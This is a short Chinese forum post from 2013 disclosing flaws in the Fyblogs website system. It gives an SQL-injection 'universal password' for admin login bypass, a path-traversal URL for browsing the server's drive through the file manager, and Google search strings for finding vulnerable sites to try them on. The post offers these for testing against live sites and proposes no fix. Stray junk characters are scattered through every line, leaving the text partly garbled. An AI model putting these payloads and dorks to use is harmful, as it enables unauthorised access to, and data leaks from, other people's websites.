漏洞类型： 未授权访问/权限绕过
( m- S: r' x+ F, O8 Q& K" a1 C% g% I% J
简要描述：
/ D* U; s& E% L' N' b" }# i2 C0 ~' g3 p7 S1 M! x, s
Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！% X+ L5 ?5 k. F
1 j4 U+ |& t' Q; L V
详细说明：# F. R# s4 [4 Z- X" f
. H7 d+ T1 V3 y; ~后台万能密码 'or'='or'
% a+ h" m; j, R8 X后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！3 b+ G2 u3 E" d. ?* d3 {3 g8 \1 b
admin/uploadfile.asp?currentFolder=/upfiles/../
* ~8 `& t# j9 q h) e2 d
, o% Z. n' g# \3 G9 E* `: N" h0 A漏洞证明：& ~ L6 m* u5 \5 N
9 k8 c- K; B& B: {& B
谷歌：inurl:type.asp?id=1 新闻中心8 F( Y$ }# z- w; H2 R i$ g
或者 ：inurl:download_ok.asp?. p8 b, c H4 C6 z- O/ k
1 \" }. H3 q V6 u$ M
可以测试
, c5 J. L$ b! n& G B: u
+ s* |! a/ p: s$ G: I; O5 `' r3 {; v# D. _6 y
|
发表于 2013-3-7 13:07:46
收藏
支持
反对